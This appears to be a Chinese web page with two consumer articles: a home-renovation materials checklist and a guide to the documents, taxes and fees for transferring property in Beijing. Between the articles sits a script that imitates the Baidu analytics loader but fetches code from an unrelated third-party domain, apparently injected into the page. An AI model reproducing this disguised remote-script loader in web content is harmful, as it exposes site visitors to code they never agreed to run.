现在装修房子需要哪些材料？

在大家欢欢喜喜交房和验房之后，只要有时间，就要开始准备装修事宜了。那么，我们在装修房子需要哪些材料的问题上，需要准备哪些必要的材料和走那些必要的流程呢？首先要先明确以下几个方面的事项。若是毛坯房装修，那么装修房子需要哪些材料的问题则会相对复杂一些，考虑的也需要周全一些；假如是交房时，已经具备了简单装修的现在所谓的“精装房型”那么需要把更多的精力都放在购买家电或一体化的装修细节设计上。无论是上面哪一种情况，首先，我们在装修房子需要哪些材料上都需要有详细的预算和方案，接下来，我们就一起来罗列一下。第一大类：瓷砖和地板。瓷砖主要铺设于厨房、阳台和卫生间，现在有些家庭考虑装修风格为精装修，那么也会用在一些墙体上；地板类的可分为：实木地板、瓷砖、软胶仿真地板和金刚板等等，主要铺设在客厅和几个卧室。第二大类：橱柜和衣柜。这两种柜子，我们可以选择现在流行的一体化定制，也可以单独选购。在定制和购买时注意测量好尺寸，最好是请定制的师傅来实地测量，更为精准和放心。第三大类：吊顶与灯具。现代吊顶的装修风格亦可以选择一体化吊顶，在小户型家中显得空间大些。在灯具上的选择则更加多样性，可以参考整体家居设计风格来购买，也可以直接委托设计师或者甚至在一些线上线下均实现了一体化服务的App上购买。最后，在装修房子需要哪些材料的问题上，除了上面所罗列的一些主要方向和清单，你还需要考虑卫浴、洁具、门等材料的购买，特别是在门的选择上，人们越来越倾向于难以复制和被撬的指纹密码锁门，不过这一类门的价格参差不齐，需要仔细识别和购买。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

北京房产过户所需材料及费用介绍

在北京生活并不是件容易的事情，大家都知道北京的人口众多，房屋根本供不应求，房价上涨得十分迅速，在这样的条件下，在北京买房是特别困难的。基本上只有两种情况才能在北京买得起房子，一种就是购买二手房，还有就是继承上一辈人的财产，不管是哪一种取得北京的房产，都需要经过特殊的过户手续才可以。接着小编就为大家讲一下北京房产的过户所需材料。北京房产过户所需材料(1)地税局需要卖方夫妻双方身份和户口本复印件一套(若卖方夫妻不在同一个户口本上还需提供结婚证复印件一套)、买方身份复印件一套、网签买卖协议一份、房产证复印件一套(如果卖方配偶已经去世还需要派出所的死亡证明一份)(2)房管局需要网签买卖协议一份、房产证原件、新测绘图纸两张，免税证明或完税证明复印件;如省直房改房还需已购公房确认表原件两份表.北京房产过户需要交的税费1、营业税：(税率5.65%卖方缴纳)根据(财税[2011]12号)规定，自2011年1月28日起，个人将购买不足5年的住房对外销售，全额征收营业税。也就是说，不再区分普通住宅和非普通住宅，个人将购买不足5年的住房对外销售均应全额征收营业税。个人将购买超过5年(含5年)的非普通住房对外销售，按照其销售收入减去购买房屋的价款后的差额征收营业税。个人将购买超过5年(含5年)的普通住房对外销售的，免征营业税。2、个人所得税：(税率交易总额1%或两次交易差的20%卖方缴纳)征收条件以家庭为单位出售非唯一住房需缴纳个人房转让所得税。在这里有两个条件①家庭唯一住宅②购买时间超过5年。如果两个条件同时满足可以免交个人所得税;任何一个条件不满足都必须缴纳个人所得税。注：如果是家庭唯一住宅但是购买时间不足5年则需要以纳税保证金形式先缴纳，若在一年以内能够重新购买房产并取得产权则可以全部或部分退还纳税保证金，具体退还额度按照两套房产交易价格较低的1%退还。注：地税局会审核卖方夫妻双方名下是否有其他房产作为家庭唯一住宅的依据，其中包括虽然产权证没有下放但是房管部门已经备案登记的住房(不包含非住宅类房产)。另注：如果所售房产是非住宅类房产则不管什么情况都要缴纳个人所得税。而且地税局在征税过程中对于营业税缴纳差额的情况，个人所得税也必须征收差额的20%。3、印花税：(税率1‰买卖双方各半)不过从2009年至今国家暂免征收。4、契税：(基准税率3%优惠税率1.5%和1%买方缴纳)征收方法：按照基准税率征收交易总额的3%，若买方是首次购买面积不足90平的普通住宅缴纳交易总额的1%，若买方首次购买面积超过90平(包含90平)的普通住宅则缴纳交易总额的1.5%。注：首次购买和普通住宅同时具备才可以享受优惠，契税的优惠是以个人计算的，只要是首次缴契税都可以享受优惠。若买方购买的房产是非普通住宅或者是非住宅则缴纳交易总额的3%。5、测绘费1.36元/平米总额=1.36元/平米*实际测绘面积(08年4月后新政策房改房测绘费标准：面积75平米以下收200元，75平米以上144平米以下收300元，144平米以上收400元)一般说来房改房都是需要测绘的，商品房如果原产权证上没有市房管局的测绘章也是需要测绘的。6、二手房交易手续费总额住宅6元/平米*实际测绘面积，非住宅10元/平米7、登记费：(工本费)80元，共有权证：20元。现在生活的各方面都已经趋向于法律化，即使很多事情都有人情在里面，但是我们都要使用法律来保护自己的合法权益，特别是房产，一旦取得，就要划分好权益，最好的办法就是办理过户手续，将房产过户到自己的名下，这样的话就得到了法律的认可。走正规手续过户过的房产，一定会受到法律的保护，所以我们为了维护自己的合法权益，建议大家在取得房产的时候就办理房产的过户手续。